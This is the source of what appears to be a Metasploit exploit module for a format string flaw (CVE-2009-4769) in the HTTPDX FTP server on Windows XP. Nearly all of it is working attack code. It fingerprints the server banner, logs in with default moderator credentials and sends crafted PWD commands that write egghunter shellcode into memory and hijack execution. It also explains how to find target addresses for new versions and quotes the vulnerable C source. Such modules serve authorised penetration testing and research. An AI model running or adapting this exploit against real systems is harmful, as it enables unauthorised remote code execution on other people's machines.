HTTPDX tolog() Function Format String Vulnerability



##

# $Id: httpdx_tolog_format.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::Ftp
    include Msf::Exploit::Egghunter
    include Msf::Exploit::FormatString

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'HTTPDX tolog() Function Format String Vulnerability',
            'Description'    => %q{
                    This module exploits a format string vulnerability in HTTPDX FTP server.
                By sending an specially crafted FTP command containing format specifiers, an
                attacker can corrupt memory and execute arbitrary code.

                By default logging is off for HTTP, but enabled for the 'moderator' user
                via FTP.
            },
            'Author'         =>
                [
                    'jduck'   # original discovery and metasploit module
                ],
            'Version'     => '$Revision: 10150 $',
            'References'     =>
                [
                    [ 'CVE', '2009-4769' ],
                    [ 'OSVDB', '60181' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process'
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    # format string max length
                    'Space'    => 1024,
                    'BadChars' => "\x00\x0a\x0d\x25",
                    'DisableNops'    =>  'True',
                    'StackAdjustment'     => -1500
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    #
                    # Automatic targeting via fingerprinting
                    #
                    [ 'Automatic Targeting', { 'auto' => true }  ],

                    #
                    # specific targets
                    #
                    [    'httpdx 1.4 - Windows XP SP3 English',
                        {
                            'NumPops'     => 37,
                            'Writable'     => 0x64f87810,     # empty space in core.dll imports
                            'FlowHook'    => 0x64f870e8        # core.dll import for strlen
                        }
                    ],
                    [    'httpdx 1.4.5 - Windows XP SP3 English',
                        {
                            'NumPops'     => 37,
                            'Writable'     => 0x64f87810,     # empty space in core.dll imports
                            'FlowHook'    => 0x64f870e8        # core.dll import for strlen
                        }
                    ],
                    [    'httpdx 1.4.6 - Windows XP SP3 English',
                        {
                            'NumPops'     => 37,
                            'Writable'     => 0x64f87810,     # empty space in core.dll imports
                            'FlowHook'    => 0x64f870e8        # core.dll import for strlen
                        }
                    ],
                    [    'httpdx 1.4.6b - Windows XP SP3 English',
                        {
                            'NumPops'     => 37,
                            'Writable'     => 0x64f87810,     # empty space in core.dll imports
                            'FlowHook'    => 0x64f870e8        # core.dll import for strlen
                        }
                    ],
                    [    'httpdx 1.5 - Windows XP SP3 English',
                        {
                            'NumPops'     => 29,
                            'Writable'     => 0x64f87810,     # empty space in core.dll imports
                            'FlowHook'    => 0x64f870e8        # core.dll import for strlen
                        }
                    ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Nov 17 2009'))
=begin

NOTE: Even though all targets have the same addresses now, future targets may not.

To find a target:

1. open "core.dll" in IDA Pro
2. navigate to the "c_wildcmp" function
3. follow the xref to the first strlen
4. follow the xref to the imports area
5. copy/paste the address
6. the 'Writable' value should be anything after the last address IDA shows..
    (preferably something above 0x0d, to avoid bad chars)

If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
For now, that will have to be done manually.

=end
        register_options(
            [
                Opt::RPORT(21),
                # note the default user/pass
                OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'moderator']),
                OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'pass123'])
            ], self.class )
    end


    def check
        connect
        disconnect
        print_status("FTP Banner: #{banner}".strip)
        if banner =~ /httpdx.*\(Win32\)/
            return Exploit::CheckCode::Appears
        end
        return Exploit::CheckCode::Safe
    end


    def exploit

        # Use a copy of the target
        mytarget = target

        if (target['auto'])
            mytarget = nil

            print_status("Automatically detecting the target...")
            connect
            disconnect

            if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then
                print_status("FTP Banner: #{banner.strip}")
                version = m[1]
            else
                print_status("No matching target")
                return
            end

            self.targets.each do |t|
                if (t.name =~ /#{version} - /) then
                    mytarget = t
                    break
                end
            end

            if (not mytarget)
                print_status("No matching target")
                return
            end

            print_status("Selected Target: #{mytarget.name}")
        else
            print_status("Trying target #{mytarget.name}...")
        end

        # proceed with chosen target...
        connect_login

        # '<ip>\n PWD '
        ip_length = Rex::Socket.source_address(datastore['RHOST']).length
        num_start = ip_length + 1 + 3 + 1


        # use the egghunter!
        eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

        # write shellcode to 'writable' (all at once)
        fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
        print_status(" payload format string buffer is #{fmtbuf.length} bytes")
        if (res = send_cmd(['PWD', fmtbuf ], true))
            print_status(res.strip)
        end


        # write 'writable' addr to flowhook (execute shellcode)
        # NOTE: the resulting two writes must be done at the same time
        fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)

        # add payload to the end
        fmtbuf << eh_egg
        print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
        if (res = send_cmd(['PWD', fmtbuf ], true))
            print_status(res.strip)
        end


        disconnect
        handler

        # connect again to trigger shellcode
        print_status(" triggering shellcode now")
        print_status("Please be patient, the egg hunter may take a while...")
        connect
    end

end


=begin

also present in 1.5 (presumably all versions in between)

1.4/httpdx_src/ftp.cpp:

   544      //printf(out);
   545      char af[MAX] = {0};
   546      if(isset(out) && client->serve.log || client->serve.debug)
   547          snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);
   548      if(isset(out) && client->serve.log)
   549          tolog(client->serve.accessl,af);
   550      if(isset(out) && client->serve.debug)
   551          printf(af);

1.4/httpdx_src/http.cpp:

   172      char af[MAX] = {0};
   173      if(client.serve.log || client.serve.debug)
   174          snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);
   175      if(client.serve.log)
   176          tolog(client.serve.accessl,af);
   177      if(client.serve.debug)
   178          printf(af);

=end